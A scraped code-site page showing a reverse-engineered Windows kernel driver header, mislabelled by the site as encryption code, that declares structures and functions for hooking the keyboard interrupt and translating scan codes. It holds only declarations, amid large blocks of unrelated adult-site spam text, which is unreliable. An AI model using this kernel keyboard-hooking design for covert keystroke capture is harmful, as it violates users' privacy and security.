亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? header.h

?? 一份加密算法的源代碼
?? H
字號:
#ifndef _HEADER_H_
#define _HEADER_H_

//#define NDIS_WDM 1
//#define BINARY_COMPATIBLE 0

/*****************************************************************
*
* Reversed By yykingking (yykingking@126.com)
* 僅供學習交流使用
*****************************************************************/

#include <ntddk.h>
#include <ndis.h>

#define PKAFFINITY ULONG
#define true 1
#define false 0
typedef unsigned char BYTE;
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef char bool;
typedef long BOOL;

#pragma pack(1)
typedef struct _LOCK_LIST  
{
	LIST_ENTRY pList;
	KSPIN_LOCK Lock;
}LOCK_LIST, *PLOCK_LIST;

typedef struct _idtr
{
    //定義中斷描述符表的限制,長度兩字節;
    short        IDTLimit;
    //定義中斷描述服表的基址,長度四字節;
    unsigned int    IDTBase;
}IDTR,*PIDTR;

typedef struct
{
	unsigned short LowOffset;
	unsigned short selector;
	unsigned char unused_lo;
	unsigned char segment_type:4;	//0x0E is an interrupt gate
	unsigned char system_segment_flag:1;
	unsigned char DPL:2;	// descriptor privilege level 
	unsigned char P:1; /* present */
	unsigned short HiOffset;
} IDTENTRY,*PIDTENTRY;

typedef struct _STRUCT_TWO
{
	DWORD Pid;				// 0x0
	PVOID StartAddress;		// 0x4
	PMDL  pMdl;				// 0x8
	DWORD Reserved4;		// 0xc
	LOCK_LIST pLockList;	// 0x10
	DWORD Reserved5;		// 0x18
}STRUCT_TWO, *PSTRUCT_TWO;

typedef struct _STRUCT_THREE
{
	int Reserved1;			// 始終為0..??
	int Reserved2;			// hash結構,索引
}STRUCT_THREE,*PSTRUCT_THREE;

typedef struct _STRUCT_FOUR
{
	bool bFirst;			// 0x0
	bool bSecond;			// 0x1
	DWORD Array[9];			// 0x2
}STRUCT_FOUR, *PSTRUCT_FOUR;

typedef struct _STRUCT_12H_
{
	bool Reserved1;			// 0x0  
	bool ConvertEditCtrl;	// 0x1 可以轉換 HOME PGUP 等鍵
	bool ShiftDown;			// 0x2 當shift按下時為1
	bool Reserved4;			// 0x3  
	bool Reserved5;			// 0x4  
	bool Reserved6;			// 0x5
	bool Reserved7;			// 0x6
	bool Reserved8;			// 0x7
	bool Reserved9;			// 0x8
	bool Reserveda;			// 0x9
	bool bDoletter;			// 0xa 為1時才能夠處理字母鍵盤掃描碼
	bool Reservedc;			// 0xb
	bool Reservedd;			// 0xc
	bool Reservede;			// 0xd
	bool Reservedf;			// 0xe
	bool Reserved10;		// 0xf
	bool Reserved11;		// 0x10
	bool Reserved12;		// 0x11
//	bool Reserved10;		// 0x12
//	DWORD Reserved11;		// 0x13
//	bool Reserved12;		// 0x14
}STRUCT_12H,*PSTRUCT_12H;

typedef struct _STRUCT_17H_
{
	bool CanReHookKBInt;	// 0x0  使得能重復hook鍵盤中斷
	bool Reserved2;			// 0x1	
	bool Reserved3;			// 0x2
	bool DoUnhookKBInt;		// 0x3  在UNLOAD時間能調用UnHookKBInt
	bool DoDetach;			// 0x4  在UNLOAD時間能調用DetachAndDeleteDevice
	bool Reserved6;			// 0x5
	DWORD Reserved7;		// 0x6
	DWORD Reserved8;		// 0xa
	DWORD IntEntry;			// 0xe	keyboard 的中斷入口
	bool Reserved10;		// 0x12
	DWORD Reserved11;		// 0x13
	bool Reserved12;		// 0x14
}STRUCT_17H,*PSTRUCT_17H;

typedef struct _ATTACH_INFO_
{
	PDEVICE_OBJECT pSourceDeviceObjArray[10];
	PDEVICE_OBJECT pDeviceObjArray[10];
	int			   intArray1[10];
	PDEVICE_OBJECT pAttachDeviceObjArray[10];
}ATTACH_INFO, *PATTACH_INFO;

typedef struct _STRUCT_FIVE_ 
{
	bool bReserved0;	//0x0
	bool bReserved1;	//0x1
	WORD WReserved2;	//0x2
	DWORD Reserved3;	//0x4
	DWORD Reserved4;	//0x8
}STRUCT_FIVE,*PSTRUCT_FIVE;

typedef struct _STRUCT_SIX_ 
{
	char bReserved0;	//0x0
	bool bReserved1;	//0x1
	bool bReserved2;	//0x2
	bool bReserved3;	//0x3
}STRUCT_SIX,*PSTRUCT_SIX;

#pragma pop()

void ChangeHexToBin( IN char* VirtualAddress, OUT char* OutAddress);
void ConvertCharArray( char* param1, char* param2);
NTSTATUS SaveKBIntEntryOnce( PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
NTSTATUS DoNothing( PDEVICE_OBJECT param1, PIRP param2);
NTSTATUS DeleteAllStructByPid( PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
void TimerFunction (IN  PVOID SystemSpecific1,IN  PDEVICE_OBJECT pDeviceObj,IN  PVOID SystemSpecific2,IN  PVOID SystemSpecific3);
NTSTATUS MyIoCallDriver( PDEVICE_OBJECT pDeviceObject, PIRP pIrp);
NTSTATUS MD5String( PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
DWORD HookKBInt();
DWORD GetKeyBoardIntEntry();
PSTRUCT_TWO FindAndCreateStruct( int Num);
void CopyStructFour( PSTRUCT_FOUR pDest);
void CopyDataToCArray( PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
NTSTATUS OpenEventHandle( PIRP pIrp, PIO_STACK_LOCATION pIrpStack);
DWORD HookAndSaveKBInt();
NTSTATUS SetTwoBoolFalse( PDEVICE_OBJECT pDriverObj, PIRP pIrp);
NTSTATUS AddDevice( IN PDRIVER_OBJECT pDriverObj,IN PDEVICE_OBJECT PhysicalDeviceObject);
NTSTATUS DispatchFun2( PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
void CopyDataToPVoidUnknown1( PDEVICE_OBJECT pDeviceObj, PIRP pIrp);
DWORD DispatchNewInt( DWORD param);
bool IsLetterCode( char code);
bool IsEditCtrlKey( char code);
char ConvertLetter( char code);
bool IsInputPlusCode( char code);
bool IsInputCode( char code);
int LookUpAsciiByIndex( int code);
int LookUpAsciiByIndex2( int code);
char NotAndSHR7(char code);
int DoHash( int* pNum);
void DetachAndDeleteDevice();
void ClearLinkDevice();
DWORD UnHookKBInt();
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegPath);

//void NewIntEntry();

#endif

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美电影免费观看高清完整版| 三级欧美在线一区| www.亚洲在线| 日本一区二区免费在线观看视频 | 国产午夜精品久久久久久久| 国产乱子伦一区二区三区国色天香| 7777精品伊人久久久大香线蕉经典版下载| 亚洲午夜精品在线| 国产成人精品综合在线观看| 亚洲国产精品麻豆| 91精品国产日韩91久久久久久| 伦理电影国产精品| 久久久久久99精品| 99精品国产热久久91蜜凸| 久久久噜噜噜久久中文字幕色伊伊 | 日韩一区二区三区精品视频| 久久99蜜桃精品| 亚洲国产精品成人久久综合一区| 粗大黑人巨茎大战欧美成人| 国产精品国产三级国产三级人妇| 成人午夜精品在线| 亚洲国产综合人成综合网站| 91精品国产综合久久久久久| 国产精品456| 亚洲欧美韩国综合色| 国产精品一区二区三区乱码| 日韩在线观看一区二区| 久久久99精品免费观看不卡| 色播五月激情综合网| 蜜乳av一区二区| 国产精品久久久久久久久免费樱桃 | 日韩福利电影在线| 国产日韩欧美激情| 国产精品一区二区无线| 免费三级欧美电影| 国产精品另类一区| 欧美一区二区精品在线| 国产91精品露脸国语对白| 亚洲午夜久久久久久久久久久| 亚洲你懂的在线视频| 精品久久久久久亚洲综合网 | 亚洲国产电影在线观看| 欧美色图在线观看| 国产一区二区按摩在线观看| 亚洲永久精品大片| 欧美一区二区视频观看视频| 成人精品在线视频观看| 秋霞午夜av一区二区三区| 亚洲精品一区二区三区影院| 色偷偷88欧美精品久久久| 久久99精品国产麻豆不卡| 亚洲男同性恋视频| 久久久电影一区二区三区| 91影院在线观看| 亚洲婷婷在线视频| 久久午夜色播影院免费高清| 51精品久久久久久久蜜臀| 国产精品白丝jk黑袜喷水| 另类综合日韩欧美亚洲| 亚洲一线二线三线视频| 欧美激情中文字幕| 精品欧美一区二区久久| 欧美日韩成人综合在线一区二区| 欧美性极品少妇| 成人免费视频免费观看| 狠狠v欧美v日韩v亚洲ⅴ| 一区二区三区不卡视频| 国产精品国产成人国产三级| 久久久久国色av免费看影院| 正在播放一区二区| 欧美色综合久久| 亚洲成av人片一区二区| 日本在线播放一区二区三区| 亚洲国产乱码最新视频| 日韩亚洲欧美成人一区| 在线免费观看一区| 91天堂素人约啪| 不卡的av电影在线观看| 国产成人免费在线| 亚洲第一久久影院| 黄色日韩三级电影| 国产一区日韩二区欧美三区| 国产美女精品人人做人人爽| 久久 天天综合| 国产成人免费xxxxxxxx| 成人激情文学综合网| 成人免费福利片| 成人黄动漫网站免费app| 国产99久久久国产精品潘金| 欧美在线视频全部完| 在线观看亚洲精品| 欧美亚日韩国产aⅴ精品中极品| 91免费版在线看| 亚洲成人综合视频| 午夜久久福利影院| 免费观看久久久4p| 国产自产视频一区二区三区| 国产精品一区久久久久| 国产91在线观看丝袜| 欧美精品久久天天躁| 欧美一级一区二区| 精品女同一区二区| 国产视频一区二区在线| 欧美一区二区三区的| 日韩伦理电影网| 亚洲自拍偷拍图区| 日产国产高清一区二区三区| 国产曰批免费观看久久久| 免费人成在线不卡| 一本久久精品一区二区| 欧美日韩日日摸| 欧美成人精品高清在线播放| 久久久精品国产99久久精品芒果| 国产喂奶挤奶一区二区三区| 天堂成人国产精品一区| 国产一区二区三区免费观看| bt7086福利一区国产| 欧美体内she精高潮| 精品久久久久久久久久久院品网| 国产精品久久久久久久久免费相片| 一区二区三区视频在线看| 日韩电影免费一区| 成人永久免费视频| 久久午夜国产精品| 亚洲一区二区三区视频在线播放| 激情另类小说区图片区视频区| 成人一区在线观看| 成人高清av在线| 3d动漫精品啪啪一区二区竹菊| 久久久综合精品| 亚洲成人资源在线| 国产在线精品不卡| 精品久久久久久久人人人人传媒| 亚洲啪啪综合av一区二区三区| 日韩专区在线视频| www.亚洲在线| 久久机这里只有精品| 欧美午夜电影一区| 国产精品私人影院| 亚洲国产精品久久久久秋霞影院| 国产成人日日夜夜| 欧美一区二区三区在线观看视频| 国产精品久久影院| 亚洲一区在线免费观看| 国产一本一道久久香蕉| 91麻豆精品国产91久久久更新时间 | 国产精品久久久久久久午夜片| 亚洲第一在线综合网站| 99久久国产综合精品女不卡| 欧美日韩国产小视频| 一区二区欧美在线观看| 国产成人免费高清| 欧美videos中文字幕| 一区二区三区欧美日韩| 色香蕉成人二区免费| 精品奇米国产一区二区三区| 日韩精品久久久久久| a亚洲天堂av| 成人福利视频在线看| 国产午夜精品一区二区三区视频| 亚洲韩国精品一区| 色激情天天射综合网| 国产精品卡一卡二| 中文字幕亚洲电影| 国产传媒久久文化传媒| 日韩一区二区三| 五月婷婷综合网| 91视频精品在这里| 国产精品久久久久aaaa| 国产成人在线视频免费播放| 日韩一区二区免费在线观看| 久久精品夜色噜噜亚洲aⅴ| 成人高清在线视频| 亚洲国产电影在线观看| 国产乱码精品一品二品| 成人美女在线视频| 夜夜揉揉日日人人青青一国产精品 | 日韩高清一级片| 成人一区二区三区视频| 久久久久99精品一区| 欧美一级在线视频| 麻豆精品视频在线| 在线中文字幕不卡| 久久―日本道色综合久久| 国产精品一二三| 麻豆国产精品777777在线| 久久毛片高清国产| 欧美福利电影网| 亚洲人成网站影音先锋播放| 在线亚洲免费视频| 蜜桃视频一区二区三区在线观看 | av午夜一区麻豆| 成人免费在线视频观看| 欧美亚洲动漫制服丝袜| 亚洲综合视频在线| 欧美人妇做爰xxxⅹ性高电影| 洋洋成人永久网站入口| 欧美一区二区免费观在线| 婷婷综合五月天| 欧美大白屁股肥臀xxxxxx|